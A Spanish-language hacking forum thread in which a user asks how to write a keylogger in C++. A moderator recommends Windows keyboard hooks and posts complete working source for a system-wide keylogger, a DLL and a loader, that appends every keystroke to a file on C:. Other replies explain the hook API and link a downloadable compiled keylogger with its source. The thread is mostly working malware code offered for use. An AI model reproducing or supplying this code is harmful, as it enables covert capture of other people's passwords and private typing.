Resultados 1 al 10 de 10

Tema: programar en c++

  1. #1 programar en c++ 
    Avanzado
    Fecha de ingreso
    Jan 2003
    Ubicación
    Corrientes Argentina!!
    Mensajes
    261
    Descargas
    4
    Uploads
    0
    hola, estoy queriendo programar mi propio keylogger em c++, pero no se donde puedo encontrar información al respecto? alguien me podría ayudar?
    Citar  
     

  2. #2  
    Moderador HH
    Fecha de ingreso
    Sep 2003
    Mensajes
    1.384
    Descargas
    21
    Uploads
    5
    Busca acerca de hooks (ganchos en ingles), cualquier keyloger mas o menos bueno usa se basa en hooks para detectar eventos interesantes.

    Chau saludos
    - Me desagrada
    - ¿Por qué?
    - No estoy a su altura.
    ¿Ha respondido así alguna vez un hombre?

    Friedrich Nietzsche



    Citar  
     

  3. #3  
    Avanzado
    Fecha de ingreso
    Jan 2003
    Ubicación
    Corrientes Argentina!!
    Mensajes
    261
    Descargas
    4
    Uploads
    0
    ok, me voy a poner a buscar, pero no estoy manejando muy bien el c++, habrá alguna página de donde pueda bajar alguna rutina para c++ para poder captar las teclas? o algún manual donde me explique cómo hacerlo? muchas gracias
    Citar  
     

  4. #4  
    Moderador HH
    Fecha de ingreso
    Sep 2003
    Mensajes
    1.384
    Descargas
    21
    Uploads
    5
    En el msdn de microsoft podes encontrar algo que te sirva. Creo que habian un par de funciones para cada tipo de ganchos.
    Si no me equivoco estaba en ingles, pero se entiende.

    Chau saludos
    - Me desagrada
    - ¿Por qué?
    - No estoy a su altura.
    ¿Ha respondido así alguna vez un hombre?

    Friedrich Nietzsche



    Citar  
     

  5. #5  
    Avanzado
    Fecha de ingreso
    Jan 2003
    Ubicación
    Corrientes Argentina!!
    Mensajes
    261
    Descargas
    4
    Uploads
    0
    bueno, ya leí sobre hooks y creo q entendí bien, pero ahora mi duda, ya que estoy bastante perdido, cómo tengo q empezar? en el código digo, además, cómo utilizo los hooks? tengo q copiar y pegar lo q aparece en el msdn en el compilador? o cómo? por favor ayúdenme, que tengo muchas ganas de hacer esto, gracias
    Citar  
     

  6. #6  
    Moderador HH
    Fecha de ingreso
    Sep 2003
    Mensajes
    1.384
    Descargas
    21
    Uploads
    5
    Hola, la verdad que habia visto tu pregunta, por eso no conteste antes, pero encontre el mail que decia que habias contestado, asi que ...bueno aca estoy.

    Una cosas importante que tenes que tener en cuenta es que, si queres logear teclas no solo en tu aplicacion, sino en todo el sistema, por lo menos en el subsistema windows, tenes que crear una dll, en donde van a estar la rutina que se ejecutara cuando salte el gancho.

    Aca te paso un codigo que no es mio, es de un tal Lympex, no te aseguro 100% que anda pero creo que si.

    Vas a tener que hacer la dll y el ejecutable.


    dll.h

    Código:
    #ifndef _DLL_H_
    #define _DLL_H_
    
    #if BUILDING_DLL
    # define DLLIMPORT __declspec (dllexport)
    #else /* Not BUILDING_DLL */
    # define DLLIMPORT __declspec (dllimport)
    #endif /* Not BUILDING_DLL */
    
    LRESULT CALLBACK Filtro(int nCode, WORD wParam, DWORD lParam);
    __declspec(dllexport)int CreaHook(BOOL Instala,HINSTANCE DLLInst);
    
    #endif /* _DLL_H_ */

    dll.cpp

    Código:
    #include <stdio.h>
    #include <windows.h>
    #include "dll.h"
    
    #pragma data_seg("SharedBlock")
    #pragma data_seg()
    
    HHOOK gancho;
    
    /**********************************************/
    /*FUNCION PARA FILTRAR LOS RESULTADOS DEL HOOK*/
    /**********************************************/
    LRESULT CALLBACK Filtro(int nCode/*codigo hook*/, WORD wParam, DWORD lParam) {
            if(nCode<0){
               return(CallNextHookEx(gancho,nCode,wParam,lParam));
               }
            //si hay datos, los guardamos
            if (lParam & (1 << 31)) {
               FILE *datos;
               BYTE KeyboardState[256];
               GetKeyboardState(KeyboardState);
               WORD CharValue;
               if(ToAscii(wParam,0,KeyboardState,&CharValue,0) > 0){
                  if((datos=fopen("c:\\Datos.txt","at"))==NULL){
                      return CallNextHookEx(gancho,nCode,wParam,lParam);
                      }
                  fprintf(datos,"%c",(char)CharValue);
                  fclose(datos);
               }
            }
                          
            return CallNextHookEx(gancho,nCode,wParam,lParam);
    }
    
    /*******************************************************/
    /*FUNCIÓN PARA INSTALAR/DESINSTALAR EL HOOK DEL TECLADO*/
    /*******************************************************/
    __declspec(dllexport)int CreaHook(BOOL Instala, HINSTANCE DLLInst/*Redefiní la funcion*/) {
               if(Instala==TRUE) {
                  gancho=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Filtro,DLLInst/*Esta variable es cogida del resultado de "LoadLibrary("nombredll.dll")"*/,0);
                  if(gancho==NULL){
                     return 0;
                  }else{
                     return 1;
                  }
               }else{
                  return UnhookWindowsHookEx(gancho);
                
               }
    }
    
    /*************************/
    /*PROCEDIMIENTO PRINCIPAL*/
    /*************************/
    BOOL WINAPI DllMain(HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
    {
      return TRUE;
    }

    main.cpp

    Código:
    #include <stdio.h>
    #include <windows.h>
    
    typedef void (*LPFuncion)(BOOL,HINSTANCE/*Redefiní la funcion*/);
    LPFuncion Funcion=NULL;
    
    /*************************/
    /*PROCEDIMIENTO PRINCIPAL*/
    /*************************/
    int main(int argc, char *argv[])
    {
        printf("\n #######################################");
        printf("\n # [+] RBT K-Logger 1.0 - by Lympex    #");
        printf("\n # [+] Contacto:                       #");
        printf("\n #     - Mail: lympex[at]gmail[dot]com #");
        printf("\n #     - Site: http://l-bytes.tk       #");
        printf("\n #######################################\n");
        printf("\n + Cargando Dll ...");
    
        //cargamos la Dll
        HMODULE Dll=LoadLibrary("hookdll.dll");
        if(!Dll){printf("\n[*] No se encontró la Dll: RBT_KLogger.dll\n");return -1;}
        printf("OK");
      
        //buscamos la funcion en la dll
        printf("\n + Buscando funcion: CreaHook(int) ...");
        Funcion = (LPFuncion)GetProcAddress(Dll, "_Z8CreaHookiP11HINSTANCE__"/*Este es el nuevo nombre de la funcion*/);
        if(!Funcion){printf("ERROR");FreeLibrary(Dll);getchar();return -1;}
        printf("OK");
      
        //ejecutamos la función
        Funcion(TRUE,Dll/*Le meti el hmodule para ponerlo despues en la funcion SetWindowsHookEx*/);//instalamos el hook
        
        //esperamos la salida
        printf("\n [+] Presione cualquier tecla para finalizar ...");
        getchar();
        Funcion(FALSE,NULL);//desinstalamos el hook
        FreeLibrary(Dll);//liberamos la memoria
        return 0;
    }

    Espero que te sirva.

    Chau saludos
    - Me desagrada
    - ¿Por qué?
    - No estoy a su altura.
    ¿Ha respondido así alguna vez un hombre?

    Friedrich Nietzsche



    Citar  
     

  7. #7  
    Avanzado
    Fecha de ingreso
    Jan 2003
    Ubicación
    Corrientes Argentina!!
    Mensajes
    261
    Descargas
    4
    Uploads
    0
    gracias che, pero mi idea es hacer mi propio código, pero me sirve como para guiarme, lo q no entiendo mucho es el tema de los ganchos, cuál es el código de los ganchos? por ejemplo CallNextHookEx, el código, lo saco del msdn o cómo lo hago?
    Citar  
     

  8. #8  
    Moderador HH
    Fecha de ingreso
    Sep 2003
    Mensajes
    1.384
    Descargas
    21
    Uploads
    5
    CallNextHookEx es una llamada al api de windows, es una funcion dentro de una libreria de vinculos dinamicos (dll) que forma parte del sistema operativo. Por lo tanto, a lo unico que te podes referir como codigo de esta funcion es a su llamada o invocacion.
    Eso si esta en el msdn, como sintaxis. En el caso de CallNe.... :

    LRESULT CallNextHookEx(
    HHOOK hhk,
    int nCode,
    WPARAM wParam,
    LPARAM lParam
    );

    No se si esa fue tu pregunta, cualquier cosa avisa.

    Chau saludos
    - Me desagrada
    - ¿Por qué?
    - No estoy a su altura.
    ¿Ha respondido así alguna vez un hombre?

    Friedrich Nietzsche



    Citar  
     

  9. #9  
    Avanzado
    Fecha de ingreso
    Jan 2003
    Ubicación
    Corrientes Argentina!!
    Mensajes
    261
    Descargas
    4
    Uploads
    0
    ahh listo, ya entendí, ahora a probar, gracias
    Citar  
     

  10. #10  
    Avanzado
    Fecha de ingreso
    Nov 2002
    Ubicación
    Ciudad de México
    Mensajes
    297
    Descargas
    0
    Uploads
    0
    Yo hace un par de años (sí, ya son casi dos) pusé un código de un pequeño keylogger, sólo como ejemplo para que se viera como se hacían. Lo puedes encontrar checando este hilo: http://www.hackhispano.com/foro/showthread.php?t=11091

    Este mismo "tutorial" lo puse en otro foro no hace mucho, pero ya le agregue un par de cosas, como el tratamiento pseudo-correcto de la entrada del teclado (punto que deje abierto en ese entonces) y ahora escribe todo a un archivito. Muy sencillito el keylogger pero creo que cumple con su función, enseñar como hacer un keylogger.

    Hmm, no puedo subir archivos aquí ... interesante. Bueno, lo pongo en rapidshare:

    http://rapidshare.de/files/24033861/kl.zip.html

    Viene el keylogger compilado (dll + exe) y el código fuente. Vienen los archivos de proyecto para CodeBlocks, pueden descargarlo aquí: http://www.codeblocks.org.

    Ojalá les sirva de algo.
    Scar_T
    Citar  
     

Temas similares

  1. programar en c++
    Por krizalid en el foro GENERAL
    Respuestas: 5
    Último mensaje: 21-03-2011, 06:33
  2. Programar en c++
    Por z-FalKer en el foro PROGRAMACION DESKTOP
    Respuestas: 7
    Último mensaje: 18-07-2006, 04:51
  3. Programar en c++
    Por z-FalKer en el foro GENERAL
    Respuestas: 2
    Último mensaje: 02-07-2006, 01:28
  4. Programar Ali
    Por caza en el foro TV CABLE
    Respuestas: 2
    Último mensaje: 25-05-2006, 20:52
  5. Programar
    Por Shafco en el foro HACK HiSPANO
    Respuestas: 5
    Último mensaje: 20-04-2002, 23:35

Marcadores

Marcadores

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •